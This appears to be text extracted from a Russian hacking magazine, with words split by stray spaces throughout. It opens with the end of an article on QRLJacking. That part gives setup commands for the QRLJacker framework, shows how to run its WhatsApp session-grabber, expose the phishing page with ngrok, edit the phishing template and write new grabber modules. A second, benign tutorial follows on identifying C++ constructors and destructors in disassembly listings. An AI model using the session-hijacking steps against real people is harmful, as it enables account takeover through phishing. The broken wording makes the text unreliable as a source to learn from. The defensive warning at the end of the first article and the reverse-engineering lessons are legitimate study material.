нию раз работ чиков, это популярн ые мес сенд жер ы вро де WhatsApp, WeChat,
Discord, Line, все сер висы Яндекса (ведь для вход а в любой из них тре бует ся
вход в Яндекс.Пас порт, который и пре дост авляе т воз можность аутен тифика‐
ции через QR), популярн ые тор говые площ ад ки Alibaba, AliExpress, Tmall
и Taobao, сер вис AliPay, а такж е прил оже ние для удал енн ого дос тупа AirDroid.
Само собой, спис ок непол ный, ведь все ресурс ы, исполь зующие SQRL, прос‐
то не перечесть.
Теп ерь давай устан овим утил иту QRLJacker (прог рамма работа ет толь ко
на Linux и macOS, более подр обную информа цию можешь най ти в README
про екта, к тому же нам необх одим Python 3.7+).
1. За ходим в сист ему от имен и суперп ольз овате ля (root), ина че Firefox может
выдать ошиб ку при запуск е модулей фрей мворк а QRLJacker.
2. Обн овляе м Firefox до посл едней верс ии.
3. Скач ивае м самый новый geckodriver с GitHub и рас паковы ваем файл,
затем выпол няем коман ды
chmod +x geckodriver
sudo mv ‐f geckodriver /usr/local/share/geckodriver
sudo ln ‐s /usr/local/share/geckodriver /usr/local/bin/
geckodriver
sudo ln ‐s /usr/local/share/geckodriver /usr/bin/geckodriver
4. Кло ниру ем репози торий и перехо дим в пап ку с содерж имым:
git clone https://github.com/OWASP/QRLJacking
cd QRLJacking/QRLJacker && ls
5. Уст анавл ивае м все зависи мост и:
python3.7 ‐m pip install ‐r requirements.txt
6. За пуск аем фрейм ворк (с клю чом ‐‐help для получен ия крат кой справ ки):
python3.7 QrlJacker.py ‐‐help
При обыч ном запус ке (без аргум ен тов вовс е) ты увид ишь прим ерн о такую
кар тинку.
Про писав коман ду help внут ри фрейм ворк а, ты получишь пол ную справк у
по команд ам QRLJacker.
Теп ерь давай запуст им единст венн ый (на данн ый момент) модуль —
grabber/whatsapp. Спи сок всех дос тупных модулей можем посм отреть
коман дой list, выб рать модуль для исполь зования — команд ой use. Коман‐
да options подс ка жет нам текущие зна чения опций, а set задаст то или иное
знач ение опции. Коман да run запуст ит наш модуль, а команд ой jobs мы
можем просм отреть активные задачи.
Вдохн овлен о Metasploit
Порт 1337 стан дарт ный для дан ного фрейм ворк а, остальн ые опции я тро гать
не стал. HOST оста вил локаль ным (0.0.0.0), но вывес ти его в сеть — не проб‐
лема. Это мож но сде лать, использ уя, нап ример, ngrok:
ngrok http 1337
Пар аметр User‐Agent так же решил оста вить дефол тным (по умол чанию),
но всег о там три вариа нта: станд арт ный, случ ай ный и кас томный (ручн ая нас‐
трой ка). Исполь зуй вари ант, который тебе больш е все го под ходит.
Пос ле чего запус каю модуль и смот рю текущие задачи. Там указ ан их ID,
назв ание модуля, а так же адрес, на котором расп олага ется стран ица модуля.
По станд арту она выг лядит так (QR‐код част ично замазан для защиты от лю‐
дей в погонах зло упот реблен ий):
Изм енить эту стра ницу мож но, поп равив по сво ему вку су файл QRLJacker/
core/templates/phishing_page.html.
Ориг иналь ный исходник прост и незамысл оват, что позв оляе т быс тро
измен ить текст даже непод готовл енно му взломщ ику.
Посл е внес ения изме нений в файл е они будут автом ати ческ и прим енен ы
в фрей мвор ке.
Написание своих модулей
Дав ай обсу дим, что необх одимо для созд ания свое го модуля для QRLJacker.
До кумент ацию и инс трукц ию по созд анию модулей ты можешь найт и в ре‐
пози тории про екта либо в пап ке, которую ты клон иров ал раньш е (QRLJacker/
docs/README.md). Модули‐граб беры — основ а фрейм вор ка, и расп олага‐
ются они в QRLJacker/core/modules/grabber. Когд а ты добавл яешь туда
любой Python‐файл, он появ ляет ся в фрей мворк е с трем я опци ями — хост,
порт и юзе рагент.
Код модуля дол жен быть пос тро ен по такому шабл ону:
# ‐*‐ coding: utf‐8 ‐*‐
from
core.module_utils import types
class info:
author = ""
short_description = ""
full_description = None
class execution:
module_type= types.grabber
name = ""
url = ""
image_xpath = ""
img_reload_button = None
change_identifier = ""
session_type = "localStorage"
Нап ример, модуль grabber/whatsapp сдел ан именн о в этом форм ате, пос‐
мотреть его так же мож но в ре пози тории или открыв сам Python‐файл,
лежащий в QRJacker/core/modules/grabber/whatsapp.py.
Теп ерь давай раз берем ся, что озна чает кажд ая из переменн ых, которые
мы задае м на этих стро ках.
Класс info
Тут твое имя (или никн ейм), которое появит ся при вызове справк и модуля,
крат кое опис ание модуля и его пол ное опи сание (можн о заполн ять, мож но
остав ить знач ение None). Больш е ничего интер есн ого в клас се info нет,
но преж де, чем мы перейд ем к след ующе му (execution), давай посм отрим
вызов справ ки (которая будет чер пать информац ию из кода) на прим ере
модуля WhatsApp. Вот код info:
class info:
author = "Karim Shoair (D4Vinci)"
short_description = "Whatsapp QR‐sessions grabber and controller"
full_description = None
А вот справк а по модулю.
$ info grabber/whatsapp
Module : grabber/whatsapp
Provided by : Karim Shoair (D4Vinci)
Description : Whatsapp QR‐sessions grabber and controller
Класс execution
Тут воз ни уже побольш е: нужн о не тольк о назв ание модуля, но и URL сайт а,
откуд а будет братьс я QR‐код и где будет про извод итьс я автор изац ия. Такж е
нужен XPATH изоб ражения с QR‐кодом на стран ице. Чтоб ы понять, что это,
опять обра тим ся к прим еру в виде модуля WhatsApp. Там данн ый параметр
выгл ядит как /html/body/div[1]/div/div/div[2]/div[1]/div/div[2], то
есть путь до объе кта внут ри HTML‐докумен та.
Дал ее нужен XPATH кнопк и, которая обновля ет QR‐код на стра нице (если
таковая имее тся, в про тивн ом случ ае оставь знач ение None). Для больш ей
кон спи рации использ ует ся XPATH элем ен та, который исчез ает посл е получе‐
ния сес сии. Напр имер, разр абот чики QRLJacker в модуле grabber/whatsapp
использ овали чекб окс «Запомн ить меня».
И напос ледок нужн а переменн ая, которая при нимае т знач ения local‐
Storage или Cookies. Она дол жна соот ветст во вать спос обу, с помощью
которо го на веб‐сай те опре деля ется поль зователь ская сесс ия.
Вот и все — посл е того как разб ерешь ся со все ми эти ми пун кта ми, тебе
остан ет ся лишь добавить файл в папк у с граб бер‐модулям и и соз дать HTML‐
файл (index.html) со стран ицей в core/www/твое_имя_модуля.
Го тово! Ты созд ал свой модуль.
Угоняем сессию
А теперь бег ло посм отрим, как можн о использ овать этот фрейм ворк для ата‐
ки QRLJacking. Нап ример, зло умышл енник может скоп иров ать ори гинальн ый
сайт web.whatsapp.com и встав ить туда фаль шивый QR‐код для получе ния
дост упа к сесс ии. Или при мер, который при водит сам соз датель утил иты
QRLJacker.
Это плаг ин, который, если зайт и на популярн ый зарубеж ный сайт Amazon,
выдаст тематич ес кое уве дом ление о «получе нии подар ка от WhatsApp в честь
Дня свя того Валент ина» (обра ти вним ание на пра вый верх ний угол). Естес‐
твен но, что бы получить подарок, нуж но отскан иров ать QR‐код, что не даст
тебе ничего, кро ме утеч ки лич ных дан ных. Будь очень бди телен, ведь, как я
и показал рань ше, этот вект ор ата ки и утил иты для его использ ования
находят ся в открыт ом дос тупе, а написать модуль для QRLJacker — задача,
посильн ая даже начинаю щем у питонис ту.
ИТОГИ
Как ты (теперь) зна ешь, даже использ ование QR‐кода для логина больш е
нель зя счи тать безопас ной прак тикой. Любой школь ник с пачк ой убед итель но
написанн ых писем может заманить на впол не нас тоящий сайт и угнать твой
WhatsApp. Надею сь, этот небольш ой обзор отуч ит тебя без думно ска ниро‐
вать кажд ый попавш ий ся на гла за код.
ВЗЛОМ
ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ
ХАКЕРСТВА
УЧИМСЯ Крис Касперски
ИДЕНТИФИЦИРОВАТЬ Известный российский
КОНСТРУКТОРЫ хакер. Легенда ][, ex‐
И ДЕСТРУКТОРЫ редактор ВЗЛОМа. Также
известен под псевдонимами
мыщъх, nezumi (яп. 鼠,
мышь), n2k, elraton, souriz,
tikus, muss, farah, jardon,
KPNC.
Юрий Язев
Широко известен под
псевдонимом yurembo.
Программист, разработчик
видеоигр, независимый
исследователь. Старый автор
журнала «Хакер».
[email protected]
В этой статье речь пой дет об извест ных каж дому прог‐
раммис ту функ ци ях работы с объ екта ми класс а — конс трук‐
торах и дест рук торах, а так же о том, как обнар ужить их
в коде иссле дуемой прог раммы.
Чит ай такж е:
• Про вер ка аутент ичност и и базовый взлом защиты
• Зна комс тво с отладчик ом
• Про дол жаем осваи вать отладчик
• Но вые спо собы находить защит ные механизм ы в чужих прог раммах
• Выб ирае м лучш ий редак тор для вскрыт ия исполня емых фай лов Windows
• Маст ер‐класс по ана лизу исполня емых файл ов в IDA Pro
• Учим ся искать клю чевые структ уры язы ков высоко го уров ня
• Иден тифика ция стар тового кода и вир туальн ых функ ций при ложен ий
под Win64
• Как ие быва ют вир туаль ные фун кции и как их искать
ОБЪЕКТЫ В КУЧЕ
Конст рук тор в силу сво его автом ати чес кого вызова при соз дании нового
экзем пляр а объе кта — пер вая по сче ту функ ция. Так какие же могут воз‐
никнуть сложн ости в его иден тифика ции? Камень прет кно вения в том, что
конст рук тор факульт ативен, то есть может прис утс тво вать в объ екте, а может
и не прис утст во вать. Поэто му совс ем не факт, что пер вая вызывае мая фун‐
кция — именн о конс трук тор!
Загл янув в опи сание язы ка C++, мож но обнар ужить, что конс трукт ор
не воз вра щает никако го знач ения, что нехарак терно для обычн ых функ ций,
однак о все же не нас тольк о ред ко встре чает ся, что бы однозначн о его иден‐
тифици ровать. Как же тог да быть?
Выр уча ет то обсто ятель ство, что по станд арту конс трукт ор не дол жен
авто мати чес ки вызывать исклю чения, даже если выделить память под объе кт
не удал ось. Реали зовать это треб ова ние можн о мно жес твом разл ичных спо‐
собов, но все знак омые автор у ком пилятор ы прост о помеща ют
перед вызовом конст рукт ора про верк у на нулевой ука затель, переда вая ему
управлен ие тольк о при удач ном выделе нии памяти для объ екта. Нап ротив,
все осталь ные функ ции объ екта вызыва ются всег да, даже при неусп ешном
выделен ии памяти. Точн ее, пытаю тся вызыватьс я, но нулевой указ атель (воз‐
вращ аемый в слу чае ошиб ки выделе ния памяти) при пер вой же попыт ке
обра щения вызыва ет исклю чение, передав ая браз ды правл ения обра бот чику
соот ветс тву ющей исклю читель ной ситуа ции.
Так им образ ом, фун кция, окольц ованн ая пров ер кой нулевог о указ ате ля,
и есть конс трук тор, а не что‐либо иное. Теоре тическ и, впро чем, подобн ая
про верк а может прис утс тво вать и при вызове дру гих фун кций, конст рукт ором
не явля ющихс я, но... Во вся ком слу чае, автор у на практ ике с таким еще не
при ходил ось встре чатьс я.
Дес трук тор, как и конст рукт ор, факульт ативен, то есть посл едняя вызыва‐
емая функ ция объе кта может и не быть дес трук тором. Тем не менее отли чить
дес трукт ор от любой друг ой функ ции очень прост о — он вызыва ется толь ко
при результ ативн ом соз дании объ екта (то есть успешном выделен ии памяти)
и игно рируе тся в про тив ном слу чае. Это документ ированн ое свойс тво язы‐
ка — след оват ельн о, обяз ательн ое к реали зации все ми ком пилято рами.
Таким образ ом, в код помещае тся такое же «кольц о», как и у конст рукт ора,
но никакой путаниц ы не воз ника ет, так как конс трукт ор вызыва ется всег да
пер вым (если он есть), а дес трукт ор — посл едним (опять‐таки если он при‐
сутст ву ет).
Осо бый слу чай предс тав ляет объ ект, целиком сост оящий из одно го конс‐
трук тора (или дес трукт ора), — попр обуй‐ка разоб рать ся, с чем мы име ем
дело. Но разоб ратьс я мож но! За вызовом конс трукт ора прак тическ и всегд а
прис утс твуе т код, обну ляющий this в слу чае неудач ного выделе ния памяти,
а у дест рук тора это го нет. Далее, дест рукт ор обычн о вызыва ется не непос‐
редс твен но из материнс кой проц едур ы, а из фун кции‐оберт ки, вызыва ющей
помимо дес трук тора и опе ратор delete, который осво бож дает занятую объ‐
ектом память. Так что отли чить конст рукт ор от дест рук тора вполн е мож но.
Меж ду тем сов ременн ые ком пилятор ы для соз дания опти маль ного
по быст ро дей ствию и раз меру кода могут впихн уть все элем ент ы в фун кцию
main. Для лучш его понима ния ска занн ого расс мот рим демонс тра цию конс‐
трук тора и дес трукт ора (прим ер myClass1):
#include <stdio.h>
class MyClass {
public:
MyClass(void);
void demo(void);
~MyClass(void);
};
MyClass::MyClass()
{
printf("Constructor\n");
}
MyClass::~MyClass()
{
printf("Destructor\n");
}
void MyClass::demo(void)
{
printf("MyClass\n");
}
int main()
{
MyClass *zzz = new MyClass();
zzz‐>demo();
delete zzz;
}
Вы вод прил оже ния myClass1
В резуль тате ком пиляции прим ера myClass1 с помощью VC++’17 с нас трой‐
кой вывода про екта Release будет выг лядеть так:
main proc near
push rbx
sub rsp, 20h
mov ecx, 1 ; size
call operator new(unsigned __int64)
lea rcx, _Format ; "Constructor\n"
mov [rsp+28h+arg_0], rax
mov rbx, rax
call printf
lea rcx, aMyclass ; "MyClass\n"
call printf
lea rcx, aDestructor ; "Destructor\n"
call printf
mov edx, 1 ; __formal
mov rcx, rbx ; block
call operator delete(void *,unsigned __int64)
xor eax, eax
add rsp, 20h
pop rbx
retn
main endp
Как раз упо мяну тый случ ай! Ком пилятор все сде лал дост оянием функ ции
main, в отдельн ос ти не соз дав ни конст рукт ора, ни дест рукт ора, ни метода
клас са. Пос ле выделе ния памяти он тут же вызывае т функ цию для вывода
стро ки сим волов! То же про исход ит с очист кой памяти. Вот это магия! Здесь
инте ресн ым для нас может быть тольк о опер атор new: его устрой ство мы под‐
робно расс мот рели в пре дыду щей статье.
С дру гой сто роны, нам же хочет ся уви деть, как будет сге нери рован код
без опти мизац ии. Скомп илиру ем про ект в режиме Debug и посм отрим
на дизасс ем блер ный лист инг в Ida Pro:
Так выг лядит фун кция main:
push rbp
push rdi
sub rsp, 1A8h
lea rbp, [rsp+20h]
mov rdi, rsp
mov ecx, 6Ah
mov eax, 0CCCCCCCCh
rep stosd
mov [rbp+190h+var_28], 0FFFFFFFFFFFFFFFEh
lea rcx, unk_140023002
call sub_1400110AA
lea rcx, aMainDebug ; "Main_Debug\n"
call sub_140011230 ; вызов printf
mov ecx, 1
call sub_14001119F
mov [rbp+190h+var_88], rax
cmp [rbp+190h+var_88], 0
jz short loc_140011BE1
mov rcx, [rbp+190h+var_88]
call sub_140011415 ; вызов конструктора для создания
; экземпляра класса MyClass
mov [rbp+190h+var_18], rax ; копируем указатель на выделенную
jmp short loc_140011BEC ; память и делаем безусловный переход
loc_140011BE1:
mov [rbp+190h+var_18], 0
loc_140011BEC:
mov rax, [rbp+190h+var_18] ; возвращаем указатель на созданный
; объект в регистр rax
mov [rbp+190h+var_A8], rax
mov rax, [rbp+190h+var_A8]
mov [rbp+190h+var_188], rax
mov rcx, [rbp+190h+var_188]
call sub_140011393 ; для экземпляра класса MyClass
; вызываем метод demo
mov rax, [rbp+190h+var_188]
mov [rbp+190h+var_48], rax
mov rax, [rbp+190h+var_48]
mov [rbp+190h+var_68], rax
cmp [rbp+190h+var_68], 0
jz short loc_140011C4B
mov edx, 1
mov rcx, [rbp+190h+var_68]
call sub_1400111EA ; вызов деструктора
mov [rbp+190h+var_18], rax
jmp short loc_140011C56
loc_140011C4B:
mov [rbp+190h+var_18], 0
loc_140011C56:
xor eax, eax
lea rsp, [rbp+188h]
pop rdi
pop rbp
retn
Выз овы конс трук тора, дест рукт ора, функ ции printf, а так же метода My‐
Class::demo() осу щест вляю тся опос редован но, то есть через вызовы про‐
межут очн ых фун кций. В результ ате сте чения всех мыс лимых обстоя тельс тв
на моем компью тер е ком пилятор сге нерир овал такие цепочк и вызовов:
sub_140011415 ‐> sub_1400118A0 ‐ constructor
sub_1400111EA ‐> sub_140011980 ‐> sub_14001139D ‐> sub_140011910 ‐
destructor
sub_140011230 ‐> sub_140011CA0 ‐ printf
sub_140011393 ‐> sub_140011A10 ‐ MyClass::demo()
У тебя резуль таты впол не могут быть друг ими.
Выв од о том, что далее показа но тело конст рук тора класс а MyClass, мож‐
но сдел ать путем ана лиза реали зации и его вызова:
mov [rsp‐8+arg_0], rcx
push rbp
push rdi
sub rsp, 0E8h
lea rbp, [rsp+20h]
mov rdi, rsp
mov ecx, 3Ah
mov eax, 0CCCCCCCCh
rep stosd
mov rcx, [rsp+0F0h+arg_8]
lea rcx, unk_140023002
call sub_1400110AA
lea rcx, aConstructor ; "Constructor\n"
call sub_140011230 ; вызов printf
mov rax, [rbp+0D0h+arg_0]
lea rsp, [rbp+0C8h]
pop rdi
pop rbp
retn
Сход ным образ ом опред еляе м дес трукт ор:
mov [rsp‐8+arg_0], rcx
push rbp
push rdi
sub rsp, 108h
lea rbp, [rsp+20h]
mov rdi, rsp
mov ecx, 42h
mov eax, 0CCCCCCCCh
rep stosd
mov rcx, [rsp+110h+arg_8]
mov [rbp+0F0h+var_28], 0FFFFFFFFFFFFFFFEh
lea rcx, unk_140023002
call sub_1400110AA
nop
lea rcx, aDestructor ; "Destructor\n"
call sub_140011230 ; вызов printf
nop
lea rsp, [rbp+0E8h]
pop rdi
pop rbp
retn
И, наконец, метод MyClass::demo():
mov [rsp‐8+arg_0], rcx
push rbp
push rdi
sub rsp, 0E8h
lea rbp, [rsp+20h]
mov rdi, rsp
mov ecx, 3Ah
mov eax, 0CCCCCCCCh
rep stosd
mov rcx, [rsp+0F0h+arg_8]
lea rcx, unk_140023002
call sub_1400110AA
lea rcx, aMyclass ; "MyClass\n"
call sub_140011230 ; вызов printf
lea rsp, [rbp+0C8h]
pop rdi
pop rbp
retn
Увер ен, здесь все понят но без допол нительн ых комм ента риев.
Современные микропроцессоры архитектуры x86-64
На верн яка в пре дыдущ ем лис тинге ты обрат ил вни мание на ассемб лер ную
инст рукц ию rep stosd. Здесь выпол няет ся цикл (коман да rep), при этом
количес тво пов торений предв арительн о помеще но в регистр ECX или RCX (в
зависим ос ти от разм ера). Посл е кажд ого про хода счет чик цикл а уменьш ает‐
ся на един ицу, и это про исхо дит до тех пор, пока знач ение не стан ет нулевым.
Команд а stosd (в режиме x64) записыв ает по адре су, сохр анен ному в регис‐
тре RDI или EDI, двойн ое сло во, находя щееся в регист ре EAX. Таким обра зом
про исхо дит запол нение целого бло ка памяти. Даже на язык е высоко го уров ня
подоб ная опер ация займ ет не одну строк у:
Псевдокод
IF (Doubleword store)
WHILE ((R|E)CX > 0)
DO
THEN
DEST := EAX;
THEN
IF DF = 0
THEN (R|E)DI := (R|E)DI + 4;
ELSE (R|E)DI := (R|E)DI – 4;
FI;
(R|E)CX := (R|E)CX ‐ 1;
OD;
FI;
Тем не менее на ассем блер е опер ация уме щает ся в одну строчк у! Интер ес‐
ный момент. Давай покопа емся в истор ии ЭВМ.
По мере сво его раз вития, начиная с 1978 года, архит ек тура x86 соот ветс‐
тво вала (и про дол жает соот ветст вов ать для сов местим ос ти с пред ыдущ ими
моделям и микр опро цес соров) станд арту CISC — что расш ифро вывае тся
как complex instruction set computer, или «компью тер со сложн ым набором
команд». В перв ые годы оптим изир ующих ком пилято ров еще не было. Прог‐
раммис ты писали прогр аммы на ассем блер е. Инжен еры из Intel в соот ветс‐
твии с прогр ессом сво их проц ес соров расш иряли низ коуровн евый язык
сборк и. От такого под хода в ассем бле ре для x86, как в снежн ом коме, накап‐
ливались разн ые полезн ые и бес полез ные команд ы.
До поры до врем ени комп анию Intel не бесп око ило прои схо дящее парал‐
лельн о зарожд ение и раз витие проц ес сорной архи тект уры RISC (компь ютер
с уменьш ен ным набором команд). В соот ветс твии с наз вание м в ней исполь‐
зовал ся тольк о корот кий набор высоко оптим изир ованн ых опер аций. Со вре‐
менем ста ло очев идн о, что RISC‐архит ект ура позв оляе т конст руи ро вать
более про изво дительн ые про цес соры, нежели CISC. Тем не менее на Intel
лежал огромный груз ответст венн ости перед клие нтам и за сов мести мость
с пред ыдущ ими моделям и проц есс оров и софт ом, написан ным за все эти
годы. Тог да кор порация выкати ла архит ект уру P6, глав ная особ ен ность
которой сост ояла в динами чес ком пре обра зован ии CISC‐команд в RISC‐мик‐
роопер ации. А так же их анал из, пере упо рядо чива ние для воз можнос ти
парал лель ного исполне ния независ ящих от результ ата команд за один такт
и выпол нения микр окоманд на RISC‐ядре. На основ е архит ект уры P6 Intel
в 1995 году пред став ила проц есс ор Pentium Pro. Тем самым он стал пер вым
x86‐про цесс ором с RISC‐ядром. На этой же архи тек туре впос ледст вии были
пост ро ены Pentium II, Pentium III, Celeron. С тех пор в расс мат ривае мом нап‐
равле нии микр опро цесс оры поч ти не измен ились.
Мик роар хитект ура ядер совр емен ных про цес соров x86‐64
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА
УЧИМСЯ ИДЕНТИФИЦИРОВАТЬ
КОНСТРУКТОРЫ И ДЕСТРУКТОРЫ
ОБЪЕКТЫ В АВТОМАТИЧЕСКОЙ ПАМЯТИ
Ес ли объ ект разм ещае тся в стек е (авто мати ческ ой памяти), то никаких про‐
верок успешност и ее выделе ния не выпол няет ся и вызов конс трук тора ста‐
новит ся неот личим от вызова осталь ных фун кций. Ана логичн ая ситуа ция и с
дест рукт ором — сте ковая память автом ати ческ и осво бож дает ся по завер‐
шении фун кции, а вмест е с ней умир ает и сам объ ект безо всяк ого вызова
delete (при этом delete при меня ется толь ко для удал ения объ ектов из кучи).
Пос мотрим, появят ся ли в дизас сем бли рован ном лист инге отлич ия при соз‐
дании объ екта в сте ке.
Что бы увид еть это, модифиц ируе м фун кцию main нашего пре дыдущ его
при мера сле дующим образ ом (прим ер myClass2):
int main()
{
printf("Main\n"); // для наглядной идентификации
MyClass zzz;
zzz.demo();
}
Рез уль тат ком пиляции это го кода в режиме отладки долж ен выг лядеть так:
push rbp
push rdi
sub rsp, 128h
lea rbp, [rsp+20h]
mov rdi, rsp
mov ecx, 4Ah
mov eax, 0CCCCCCCCh
rep stosd
mov [rbp+110h+var_28], 0FFFFFFFFFFFFFFFEh
mov rax, cs:__security_cookie
xor rax, rbp
mov [rbp+110h+var_18], rax
lea rcx, unk_140021002
call sub_140011082
lea rcx, aMain ; "Main\n"
call sub_1400111D6 ; вызов printf
lea rcx, [rbp+110h+var_10C]
call sub_14001137A ; вызов конструктора
nop
lea rcx, [rbp+110h+var_10C]
call sub_140011316 ; вызов метода demo
nop
lea rcx, [rbp+110h+var_10C]
call sub_14001131B ; вызов деструктора
xor eax, eax
mov edi, eax
lea rcx, [rbp+110h+var_130]
lea rdx, unk_140019CB0
call sub_140011352
mov eax, edi
mov rcx, [rbp+110h+var_18]
xor rcx, rbp ; StackCookie
call j___security_check_cookie
lea rsp, [rbp+108h]
pop rdi
pop rbp
retn
Зам ет ных отли чий в срав нении с пре дыду щим при мером не набл юдае тся,
и все функ ции по‐прежн ему можн о опред елить путем кроп от ливого ана лиза
их содерж имого.
ИДЕНТИФИКАЦИЯ КОНСТРУКТОРА/ДЕСТРУКТОРА В ГЛОБАЛЬНЫХ
ОБЪЕКТАХ
Гло бальн ые объе кты (такж е называ емые стат ичес кими объе ктам и) раз меща‐
ются в сег менте дан ных еще на стад ии комп иляции. Ста ло быть, ошиб ки
выделен ия памяти в принц ипе невоз можны. Выходит, что по ана логии со сте‐
ковым и объ ектам и надеж но идент ифици ровать конст рукт ор и дес трукт ор
здесь нель зя? А вот и нет!
Гло баль ный объе кт в силу сво ей глоб аль нос ти дост упен из мно гих мест
прог раммы, но его конст рук тор дол жен вызывать ся лишь однажды. Как это
обесп ечить? Конеч но, воз можны самые разл ичные вариа нты реализ ации,
но боль шинс тво комп илятор ов идут по прос тейш ему пути, исполь зуя для этой
цели гло баль ную перемен ную‐флаг, изнач аль но рав ную нулю, а перед пер‐
вым вызовом конст рукт ора уве личив ающуюся на един ицу (в более общем
случ ае она устан авл ивае тся в TRUE). При пов торных итер аци ях оста ется про‐
верить, равен ли флаг нулю, и если нет — про пуст ить вызов конст рукт ора.
Таким обра зом конст рукт ор вновь «окольц овывае тся» условным перехо дом,
что позв оля ет безоши боч но отли чить его от всех осталь ных функ ций.
С дест рук тором еще про ще — раз объе кт глоб аль ный, то он унич тожае тся
тольк о при заверш ении прог раммы. А кто это может отсле дить, кро ме под‐
держ ки вре мени исполне ния? Спец иаль ная фун кция, такая как _atexit, при‐
нима ет на вход ука затель на дест рук тор, запомин ает его и затем вызывае т
в слу чае необх одимост и. Интер ес ный момент: фун кция _atexit (или что там
использ ует ся в вашем кон крет ном слу чае) дол жна быть выз вана лишь
однократ но (наде юсь, понят но почему?). И чтоб ы не ввод ить еще один флаг,
она вызывае тся сраз у же пос ле вызова конс трук тора! На перв ый взгляд объ‐
ект может показать ся сос тоящим из сочета ния конс трук тора и дес трукт ора,
но это не так. Не забывай, что _atexit не передае т немедл енно управлен ие
на код дест рук тора, а тольк о запоми нает его указ атель для дальн ейшег о
исполь зования!
Та ким обра зом, конс трукт ор и дес трук тор глоб аль ного объе кта очень
прост о иден тифицир овать, что и доказыв ает след ующий прим ер
myClass3 с изме нен ной функ ци ей main:
int main()
{
printf("Main\n");
static MyClass zzz;
zzz.demo();
}
Диз асс ем блерн ый лист инг это го при мера выгл ядит приб лизительн о так:
push rbp
push rdi
sub rsp, 108h
lea rbp, [rsp+20h]
mov rdi, rsp
mov ecx, 42h
mov eax, 0CCCCCCCCh
rep stosd
mov [rbp+0F0h+var_28], 0FFFFFFFFFFFFFFFEh
lea rcx, unk_140024002
call sub_14001109B
lea rcx, aMain ; "Main\n"
call sub_140011208 ; вызов printf
mov eax, 104h
mov eax, eax
mov ecx, cs:TlsIndex
mov rdx, gs:58h
mov rcx, [rdx+rcx*8]
mov eax, [rax+rcx]
cmp cs:dword_14001E180, eax
Про веряе м, ини циализ иров ан ли объ ект.
jle short loc_140011B10
Ес ли объе кт ини циали зиро ван, осущ ест вля ем переход на loc_140011B10.
Вызов конст рукт ора при этом про пус кает ся.
lea rcx, dword_14001E180
call sub_1400112F8
cmp cs:dword_14001E180, 0FFFFFFFFh
jnz short loc_140011B10
lea rcx, unk_14001E17C
call sub_1400113D4 ; опосредованный вызов конструктора
; класса MyClass
lea rcx, sub_140019520
А здесь прогр амма заносит в регистр RCX указ атель на опос редован ный
вызов дес трук тора класс а MyClass.
call sub_1400111D1
Пос редст вом это го вызова прог рамма передае т находя щийс я в RCX ука‐
затель на дест рук тор фун кции j__crt_atexit_0, которая будет выз вана
по заверш ении прогр аммы. Иным и сло вами, эта функ ция вызовет дест рук тор
клас са MyClass.
nop
lea rcx, dword_14001E180
call sub_140011253
loc_140011B10:
lea rcx, unk_14001E17C
call sub_140011366 ; опосредованный вызов метода demo
; класса MyClass
xor eax, eax
lea rsp, [rbp+0E8h]
pop rdi
pop rbp
retn
Анал огичн ый код генерир ует Embarcadero C++Builder (myClass3_CB).
Embarcadero C++Builder
sub rsp, 48h
mov [rsp+48h+var_4], 0
lea rcx, aMain ; "Main\n"
call printf
cmp cs:byte_45DAB8, 0
Смот рим сост ояние фла га ини циализ ации объ екта.
mov [rsp+48h+var_18], eax
jnz short loc_401510
Есл и объ ект уже иниц иали зиров ан, делае м прыж ок — не вызыва ем конс трук‐
тор.
lea rcx, byte_45DAB8
call __cxa_guard_acquire
cmp eax, 0
Про веря ем сос тояние регис тра EAX, если он равен 0, осу щест вляе м
переход — т. е. объе кт иниц иализ иров ан.
jz short loc_401510
lea rcx, stru_45DAB0
Пер ед вызовом конс трук тора помеща ем в регистр RCX ука затель на класс
MyClass.
call MyClass::MyClass(void)
jmp short $+2 ; переход на 2 строчки вперед
loc_4014F4:
lea rcx, __dtor__ZZ4mainE3zzz
call atexit
В двух строк ах выше прои сход ит такой же маневр, какой мы видели в пре‐
дыду щем лис тинге: сна чала в регистр RCX помещае тся указ атель на фун кцию,
вызыва ющую дес трук тор клас са MyClass. Затем этот ука затель переда ется
в функ цию atexit. Посл едняя будет выз вана при унич тожении прил ожен ия,
а уже она вызыва ет дест рукт ор MyClass.
lea rcx, byte_45DAB8
mov [rsp+48h+var_1C], eax
call __cxa_guard_release
loc_401510:
lea rcx, stru_45DAB0
Пе ред вызовом метода demo клас са MyClass в регистр RCX помещае м ука‐
затель на этот класс.
call MyClass::demo(void)
mov eax, [rsp+48h+var_4]
add rsp, 48h
retn
Виртуальный деструктор
Дес трук тор тоже может быть вирт уальн ым. А почему бы и нет? Это быва ет
полезн о, ког да экземп ляр прои зводно го класс а уда ляет ся через указ атель
на базовый класс. Пос коль ку вир туаль ные функ ции свя заны с клас сом объ‐
екта, а не с класс ом указ ател я, то вызыва ется вирт уальн ый дест рук тор, свя‐
занн ый с типом объе кта, а не с типом ука зате ля. Впроч ем, эти тонк ости отно‐
сят ся к непоср едс твен ному прогр амми рова нию, а исслед ова телей в перв ую
оче редь интер есуе т, как иден тифицир овать вирт уаль ный дес трукт ор. О,
это прос то: вирт уаль ный дес трукт ор совм еща ет в себе свойс тва обычн ого
дест рукт ора и вир туаль ной фун кции (см. прош лую статью).
Виртуальный конструктор
Вир туальн ый конс трукт ор? А что, раз ве есть такой? Ничего подоб ного стан‐
дар тный C++ не под держив ает. Непос редст вен но не подд ержив ает. И ког да
вир туальн ый конст рук тор позарез треб ует ся прог раммис там (впро чем,
это бывае т лишь в весь ма экзот ичес ких слу чаях), они приб ега ют к руч ной эму‐
ляции некото рого его подобия. В спец иаль но выделен ную для этих целей
вир туаль ную фун кцию (не конст рукт ор!) помеща ется приб лизитель но сле‐
дующий код: return new имя класса (*this). Этот трюк кри вее, чем
бумеранг, но... он работа ет. Разуме ется, сущес тву ют и дру гие решения.
Подр обное их обсужден ие выходит далеко за рамк и нашей беседы и тре‐
бует глу боко го знан ия C++ (горазд о более глуб око го, чем у рядово го раз‐
работ чика), к тому же это заняло бы слишк ом мно го мес та, но едва ли ока‐
залось бы интер ес ным и полез ным.
Итак, иден тифика ция вирт уальн ого конс трукт ора в силу отсутст вия самого
понятия в принц ипе невоз можна. Его эмул яция нас читыва ет десят ки (если
не боль ше) решений, попр обуй‐ка перечис ли их все! Впро чем, это го и не
нужн о делать, в больш инс тве слу чаев вир туаль ные конс трукт оры пред став‐
